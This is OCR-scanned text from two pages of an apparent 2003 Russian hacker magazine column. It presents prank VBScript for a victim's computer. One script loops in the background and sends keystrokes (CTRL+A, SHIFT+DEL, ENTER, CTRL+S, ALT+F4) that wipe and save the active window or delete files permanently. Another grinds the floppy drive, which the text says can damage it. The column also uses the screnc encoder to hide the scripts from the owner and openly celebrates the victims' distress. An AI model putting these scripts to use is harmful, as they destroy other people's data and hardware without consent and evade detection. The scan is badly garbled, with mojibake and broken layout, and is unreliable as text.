|
|
|
|
|||||
|
|
|
|
|
|
|
|
|
|
|
{^x} |
Нажатие комбинации клавиш CTRL+X |
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||
|
|
|
|
|
|
|
|
|
|
|
íà |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||
|
|
|
|
|
|
|
|
|
|
|
{+(ec)} |
Одновременное нажатие SHFT+E+C |
|
txtcom.writeline “n” |
|
|
|
|
|
|
|
|
|
|
|
|
|||||||
|
|
|
|
|
|
|
|
|
|
|
{H 10} |
10 нажатий клавиши H |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
08(33) 2003 |
|
page |
047 |
|
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
||||
|
|
|
|
C |
|
|
|
E |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
||||||
|
|
|
X |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|
|||||||
|
|
- |
|
|
|
|
|
|
|
d |
|
|
|
|
|
|
|
|
|
|
|
|
- |
|
|
|
|
|
d |
|
|||||
|
|
F |
|
|
|
|
|
|
|
|
t |
|
|
|
|
|
|
|
|
|
|
|
|
F |
|
|
|
|
|
|
|
t |
|
||
|
|
D |
|
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
D |
|
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
r |
||||
|
P |
|
|
|
|
|
|
|
|
|
|
o |
|
|
|
|
|
|
|
|
|
P |
|
|
|
|
|
|
|
|
|
|
o |
||
|
|
|
|
|
HOWTO/NOW! ВОЗВРАЩЕНИЕ БЛОКНОТА |
|
|
|
|
|
|
|
|
|
|
|
NOW! |
|
|
||||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||||||
|
w Click |
to |
BUY |
|
|
|
|
m |
|
|
|
|
|
|
|
|
|
w Click |
to |
BUY |
|
|
|
|
|
m |
|||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||
|
w |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
w |
|
|
|
|
|
|
|
|
|
o |
|
|
|
|
|
|
|
|
|
CTRL+A, SHIFT+DEL, ENTER. Ýòî |
|
w |
|
|
|
|
|
|
|
|
|
o |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||
|
|
. |
|
|
|
|
|
|
|
e |
|
H O W T O |
|
|
|
|
|
|
. |
|
|
|
|
|
|
e |
|
||||||||
|
|
|
|
|
|
|
|
|
|
.c |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
.c |
|
||||||||
|
|
|
p |
df |
|
|
|
|
|
g |
|
|
|
|
|
|
|
|
|
|
|
|
|
p |
df |
|
|
|
g |
|
|
|
|||
|
|
|
|
|
|
|
|
n |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
n |
|
|
|
|
||||
|
|
|
|
|
-xcha |
|
|
|
|
Параметры командной строки программы |
|
|
приведет к соответствующим ре- |
|
|
|
|
|
-x cha |
|
|
|
|
|
|||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
screnc.exe |
|
|
|
|
зультатам: удалению файлов и па- |
|
|
|
|
|
|
|
|
|
|
|
|||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
пок, текстов (смотря какое окно бы- |
|
|
|
|
|
|
|
|
|
||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
ло на первом плане), выскакива- |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/s |
Работа программы без вывода сообщений на экран |
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
нию глаз из орбит, порче матери- |
|
|
|
|
|
|
|
|
|
|
|
|
||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/f |
Перезаписать исходный файл зашифрованным под тем же |
|
альных ценностей, биению головой |
|
|
|
|
|
|
|
|
|
|
|
|||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
самым именем |
|
|
|
|
|
о стену, массовым явлениям суици- |
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/l language |
Явно указывает язык в шифруемом файле. |
|
да и другим подобным веселеньким |
|
|
|
|
|
|
|
|
|
|||||||||
|
|
|
|
4work |
|
|
|
|
|
|
|
|
|
Например /l Jscript |
|
|
|
(кому как :)) вещам. А поможет нам |
|
|
|
|
|
|
|
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|
|
|
Примеры: |
|
|
|
|
|
|
|
в этом этот скриптик: |
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
screnc hello.vbs hello.vbe |
|
|
|
|
Option Explicit |
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||
|
|
|
|
|
|
|
|
|
|
|
|
screnc /e htm config.wsf confighide.wsf |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||
|
|
|
|
ÎÑè |
|
|
|
|
|
|
|
|
|
Dim WshShell |
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||
|
|
|
|
|
|
|
|
|
|
|
|
screnc /f /e htm index.html |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Dim f, x |
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
f=0 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Форматирование будет отложено |
|
издает громкие звуки. Для разно- |
|
‘Объявляются используемые переменные |
|
|
|
|
|
|
|
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
до закрытия файлов. |
образия, так сказать. |
|
On Error Resume Next |
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Краткое пояснение принципа |
|
|
|
|
‘Блокировка сообщений об ошибках |
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
действия сценария. Как известно, в |
Option explicit |
|
Set WshShell= |
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
системе MS-DOS вывод на экран |
Dim fso, odrive |
|
WScript.CreateObject(“WScript.Shell”) |
|
|
|
|
|
|
|
|
|
|||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
можно перенаправить в текстовый |
Dim x, y, z |
|
‘Подключаются системные объекты |
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
файл, указав после команды сим- |
|
y=500 |
|
Do While f=0 |
|
|
|
|
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
вол “>” в режиме нового файла или |
‘y - Приблизительная длительность тарах- |
|
‘Создается бесконечный цикл |
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||
|
|
|
|
|
|
|
|
Возможны |
“>>” в режиме добавления к имею- |
тения флоппаря |
|
‘для работы скрипта до перезагрузки |
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
|
|
|
щемуся файлу и имя получаемого |
Set fso = |
|
Wscript.Sleep Int((1800000)*Rnd) |
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||
|
|
|
|
|
|
|
|
приступы ван- |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||
|
|
|
|
|
|
|
|
файла. Например, командой “dir |
CreateObject(“Scripting.FileSystemObject”) |
|
WshShell.SendKeys “^{a}” |
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||
|
|
|
|
|
|
|
|
дализма, чле- |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||
|
|
|
|
|
|
|
|
новредитель- |
c:\windows > c:\1.txt” будет получен |
set odrive = fso.getdrive(“a:\”) |
|
‘Посылается комбинация клавиш CTRL+A |
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||
|
|
|
|
|
|
|
|
ство, громкие |
файл C:\1.txt, содержащий листинг |
‘Подключаются системные объекты |
|
WshShell.SendKeys “+{DEL}” |
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
|
|
|
размышления |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||
|
|
|
|
|
|
|
|
íà òåìó âèðó- |
файлов и папок каталога C:\win- |
for x=1 to y |
|
‘Посылается комбинация клавиш |
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
|
|
|
сов, вирусопи- |
dows. Но далеко не всем известно, |
‘Процесс пошел |
|
SHIFT+DEL |
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
|
|
|
сателей и ин- |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||
|
|
|
|
|
|
|
|
что возможно обратное перенап- |
|
if odrive.isready then |
|
WshShell.SendKeys “{ENTER}” |
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
|
|
|
тимной жизни |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||
|
|
|
|
|
|
|
|
их родствен- |
равление с использованием симво- |
‘Проверяется наличие дискеты |
|
‘Посылается клавиша ENTER |
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
|
|
|
ников. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
ла “<”. На этом принципе и основан |
‘Отсюда и происходит весь шум |
|
‘т.е. сейчас было удалено содержание ак- |
|
|
|
|
|
|
|
|
|
|
|
|||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
данный скрипт. В текстовый файл |
|
z=1 |
тивного окна |
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
заносятся предполагаемые нажа- |
‘Фиктивная операция |
|
‘конечно, если это возможно |
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
тия на клавиатуру, а затем они счи- |
‘Не ради этого все затевалось |
|
WshShell.SendKeys “^{s}” |
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
тываются программой Format. В |
end if |
|
‘Посылается комбинация клавиш CTRL+S |
|
|
|
|
|
|
|
|
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
итоге все действия происходят без |
‘Завершаем микроцикл |
|
‘Если это текстовый редактор, |
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
участия пользователя, что нам и |
next |
|
‘то “результат” был сохранен |
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
требовалось. Ну а консоль Windows |
‘Поехали по кругу |
|
WshShell.SendKeys “{ENTER}” |
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
XP с успехом выполняет эти функ- |
|
|
|
|
‘Посылается клавиша ENTER |
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
öèè MS-DOS. |
|
|
|
Скрипт будет работать, если: на |
|
WshShell.SendKeys “{LEFT}” |
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Что же делать, если дискета не |
компе есть дисковод, он висит на |
|
‘Посылается клавиша “Стрелка влево” |
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
вставлена? Неужели лишать себя |
букве А и в нем нет дискеты. |
|
|
WshShell.SendKeys “{ENTER}” |
|
|
|
|
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
законного удовольствия? Не стоит. |
Конечно, при желании эту штучку |
|
‘Посылается клавиша ENTER |
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Пусть дисковод в знак возмущения |
можно облагородить, а именно: до- |
На случай, если документ создан впервые |
|
|
|
|
|
|
|
|
|
|
|
||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
бавить определение наличия дис- |
|
WshShell.SendKeys “%{F4}” |
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
ковода, его букву и присутствие в |
|
|
‘Посылается комбинация клавиш ALT+F4 |
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
нем дискеты, включать трещалку |
|
‘Окно закрывается, чтобы было нельзя |
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
через определенные или случай- |
|
|
сделать откат |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
ные промежутки времени, заста- |
|
|
Loop |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
На случай, ес- |
|
|
|
|
вить дисковод наигрывать опреде- |
|
‘Заново повторяется вся процедура |
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||
|
|
|
|
|
|
|
|
|
|
|
ленную мелодию. И имей в виду, |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||
|
|
|
|
|
|
|
ли владелец |
|
|
|
|
Данный алгоритм не претендует |
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||
|
|
|
|
|
|
|
компа добрал- |
|
|
|
|
что этим приколом реально угро- |
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||
|
|
|
|
|
|
|
|
ся до твоих |
|
|
|
|
áèòü FDD. |
|
на универсальность, но ты можешь |
|
|
|
|
|
|
|
|
|
|
|
|||||||||
|
|
|
|
|
|
скриптов, ты |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
переделать его под конкретную си- |
|
|
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
|
|
|
можешь изба- |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||
|
|
|
|
|
|
|
|
âèòü åãî îò |
|
|
|
|
ЗАВЕТНЫЕ КНОПОЧКИ |
|
|
туацию. Так что делайте резервные |
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
|
|
|
удовольствия |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
А теперь приступим к термоядерно- |
копии, господа. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||
|
|
|
|
|
|
|
|
читать их ис- |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
|
ходники. |
|
|
|
|
му межгалактическому терроризму |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
в рамках отдельно взятого писюка. |
ЗАЩИТА ОТ УМНЫХ |
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Будем периодически посылать с |
|
Осталось решить главную задачу: |
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
клавиатуры разрушительную ком- |
|
сделать так, чтобы все это (ну не все |
|
|
|
|
|
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Была куча музыки |
|
|
|
|
|
|
|
|
|
|
|||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
бинации клавиш подобно этой: |
|
- половина :)) запускалось при вклю- |
|
|
|
|
|
|
|
|
|
|||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
H O W T O |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Книги, посвященные созданию скриптов: |
|
|
|
|
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Попов А. Windows Script Host для |
ный справочник. - Санкт-Петер- |
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Windows 2000/XP. - Санкт-Петер- |
бург.: Питер. 2002 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
áóðã.: BHV-CÏá. 2003 |
|
С. Палмер. VBScript и ActiveX: |
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Джесси Торрес. Скрипты для ад- |
библиотека программиста. - Санкт- |
|
|
|
|
|
|
|
|
|
|
|
|||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
А теперь ее нету. И корзина пустая |
|
министратора Windows. Специаль- |
Петербург.: Питер. 1999 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
page |
048 |
|
08(33) 2003 |
|
|
|
|
|
|
|